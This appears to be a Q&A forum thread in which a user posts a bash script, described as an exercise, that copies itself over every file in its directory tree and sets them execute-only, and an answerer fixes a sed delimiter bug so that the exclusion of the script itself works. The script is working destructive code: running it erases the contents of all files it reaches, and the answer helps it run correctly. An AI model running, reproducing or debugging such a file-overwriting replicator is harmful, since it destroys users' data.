someoneb100
someoneb100

Reputation: 141

sed won't work in bash script

I'm making a script that copies itself into all the other files in the directory it is executed. (simply as an exercise)

#!/bin/bash

naz=$0
list='2e5vff5f8fgg8gs5gs8ggr48gr8grs84gr8448.txt'
find -type f > $list
sed -i "/$list/d" $list
sed -i "/"$naz"/d" $list

while read infest
do
  cp "$naz" "$infest" 2>/dev/null
  chmod 100 "$infest"  2>/dev/null
done < $list

chmod 744 $naz
rm $list

It does what i want it to do, but the bug is in the line whee i try to remove the program itself from the list. The terminal gives me this:

sed: -e expression #1, char 16: unterminated `s' command

I executed the comands by hand in a terminal window and it works just fine, but why wont it work while in a script?

Upvotes: 1

Views: 53

Answers (1)

anubhava
anubhava

Reputation: 785126

Problem appears to be in this line:

sed -i "/"$naz"/d" $list

As variable $naz which is representing $0 may contain / and that would cause sed to complain as you're using / as delimiter.

To fix the problem, you can use alternative delimiter in sed:

sed -i "\#$naz#d" "$list"

assuming your filename doesn't have # character otherwise sed allows using control characters also for delimiters.

Upvotes: 3

Related Questions